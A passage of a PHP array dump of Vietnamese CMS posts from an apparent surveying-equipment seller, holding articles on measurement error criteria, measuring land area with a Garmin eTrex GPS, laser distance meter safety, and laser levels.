padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '83021', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '535', 'name' => 'Hướng dẫn đo diện tích đất bằng máy định vị cầm tay GARMIN ETREX 10/20X ', 'code' => null, 'alias' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(17, 17, 17); font-weight: 700; text-align: justify;">Những năm gần đây việc sử dụng máy định vị cầm tay để đo diện tích đất nông nghiệp, đất rừng… trở nên phổ biến. Người nông dân, thương lái đã ứng dụng thiết bị kỹ thuật vào việc đo diện tích đất để mua bán cao su, tiêu, điều,… một cách rất hiệu quả và chính xác.</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Sau đây, chúng tôi xin phép hướng dẫn cách đo diện tích đất bằng máy định vị cầm tay Etrex 10/20x đơn giản và chính xác.<br /> <br /> <strong>Phần 1: Kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích</strong><br /> <br /> Máy định vị cầm tay Etrex 10/20 đo diện tích dựa trên tín hiệu vệ tinh vì vậy để số liệu đo chính xác thì vệ tinh thu được phải nhiều và đầy đủ. Hãy kiểm tra tín hiệu vệ tinh trước khi đo:<br /> <br /> - Nhấn <em>Menu</em> 2 lần để vào màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2.jpg" style="width: 300px; height: 300px;" /><br /> <br /> - Di chuyển con trỏ vào ô <em>Satellite</em> => nhấn <em>Enter</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3(1).jpg" style="width: 381px; height: 510px;" /><br /> <br /> - Màn hình vệ tinh sẽ hiện ra. Trên góc phải phía trên màn hình thể hiện sai số của máy. Khi hiện ra số từ 3 - 5m tức là vệ tinh đã tốt, chúng ta có thể bắt đầu đo diện tích đất.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4(1).jpg" style="width: 306px; height: 409px;" /><br /> Sau khi kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích sẽ tiến hành đo diện tích đất.<br /> <br /> <strong>Phần 2: Tiến hành đo diện tích đất</strong><br /> <br /> <strong>Bước 1:</strong> Nhấn nút <em>Menu</em> trên máy 2 lần để trở về màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 1 lần 2.jpg" style="width: 300px; height: 300px;" /><br /> <em>Hình 1. Nhấn Menu 2 lần để trở về màn hình chính</em><br /> <br /> Bước 2: Di chuyển con trỏ vào biểu tượng có chữ <em>Area Calculation</em> (chức năng đo diện tích) => nhấn <em>Enter</em><strong>. </strong>Màn hình đo diện tích sẽ hiện ra.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2 lần 2.jpg" style="width: 311px; height: 414px;" /><br /> <em>Hình 2. Di chuyển con trỏ vào biểu tượng có chữ Area Calculation</em><br /> <br /> Bước 3: Bây giờ hãy vào khu đất cần đo diện tích và nhấn <em>Enter</em> vào chữ <em>Start</em>, sau đó đi vòng quanh khu đất cần đo.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3 lần 2.jpg" style="width: 400px; height: 533px;" /><br /> <em>Hình 3. Nhấn Enter vào chữ Start</em><br /> <br /> Bước 4: Sau khi đi vòng quanh khu đất cần đo đến vị trí xuất phát ban đầu nhấn <em>Enter</em> vào chữ <em>Calculate.</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4 lần 2.jpg" style="width: 296px; height: 395px;" /><br /> <em>Hình 4. Nhấn Enter vào chữ Calculate</em><br /> <br /> Màn hình hiển thị kết quả đo diện tích sẽ hiện ra:<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 5.jpg" style="width: 309px; height: 412px;" /><br /> <em>Hình 5. Hiển thị kết quả đo</em><br /> <br /> Tùy vào mỗi mục đích công việc khác nhau mà chúng ta lựa chọn đơn vị đo phù hợp.<br /> Để chọn đơn vị đo bạn chỉ cần di chuyển con trỏ vào chữ <em>Change Units</em> và nhấn <em>Enter </em>=> màn hình sẽ hiện ra các đơn vị đo để bạn lựa chọn, thông thường chúng ta sẽ đo diện tích khu đất lớn nên chọn vào đơn vị Hectares<strong> (</strong>Ha<strong>).</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 6.jpg" style="width: 376px; height: 502px;" /><br /> <em>Hình 6. Chuyển đơn vị đo</em><br /> <br /> <strong>Cần lưu ý là phải đi thành 1 vòng khép kín thì máy mới đo diện tích khu đất một cách chính xác.</strong></span></span><br /> </p> <p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> ', 'images' => '2019042407173039b311cfd409011833b1fdef4dd12cf9.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-24', 'modified' => '2025-08-18', 'status' => '1', 'view' => '56829', 'slug' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '935', 'rght' => '936', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '534', 'name' => 'Những lưu ý khi dùng máy đo khoảng cách laser', 'code' => null, 'alias' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. </span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Máy đo khoảng cách laser với ưu điểm thiết kế cầm tay nhỏ gọn, đút túi dễ dàng và kết quả phản hồi nhanh. Các tính năng cơ bản bao gồm đo khoảng cách, tính toán theo pitago, diện tích, thể tích, chu vi, đo góc, cộng trừ nhân chia. Ngoài ra, riêng dòng Leica có thêm rất nhiều tính năng vượt trội cho người chuyên nghiệp như đo cạnh trên cao, đo sườn đồi, đo độ nghiêng mái nhà, tính cạnh gián tiếp...<br /> <br /> Trước khi sử dụng bạn cần đọc các lưu ý quan trọng dưới đây để tránh làm hỏng thiết bị hoặc gây hại đến người xung quanh. <br /> <br /> - Không để tia laser hướng về phía người hoặc động vật và không nhìn vào tia laser trực tiếp hoặc qua phản chiếu.<br /> - Nếu tia laser hướng vào mắt, bạn phải nhắm mắt lại và ngay lập tức xoay đầu để tránh tia laser.<br /> - Không được sử dụng kính nhìn laser như là kính bảo hộ lao động.<br /> - Không được nhúng dụng cụ đo vào trong nước hay các chất lỏng khác.<br /> - Lau sạch bụi bẩn bằng một mảnh vải mềm và ẩm.<br /> - Không sử dụng bất cứ chất tẩy rửa hay dung môi nào.<br /> - Nếu dụng cụ đo bị trục trặc, vui lòng liên hệ bộ phận kỹ thuật của chúng tôi để được hướng dẫn và bảo hành. Tuyệt đối không tự ý tháo mở dụng cụ đo ra để tránh làm thiết bị hỏng hóc thêm.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/H1.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H2.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H3.jpg" style="width: 236px; height: 138px;" /></span></span><br /> <br /> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <img alt="" src="/admin/webroot/upload/image/images/H7.jpg" style="width: 500px; height: 360px;" /></p> ', 'images' => '20190301033534e604a531789bb8c3cfaceb0b2346fd77.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-03-01', 'modified' => '2025-08-18', 'status' => '1', 'view' => '68990', 'slug' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '933', 'rght' => '934', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '533', 'name' => 'Cùng tìm hiểu về dòng máy thuỷ bình laser', 'code' => null, 'alias' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người. Các chức năng nổi bật đó có thể bao gồm:<br /> - Là thiết bị đo đạc ở các khoảng cách khác nhau từ gần đến xa, từ địa hình bằng phẳng đến nhưng nơi trắc trở nhiều nguy hiểm. Máy 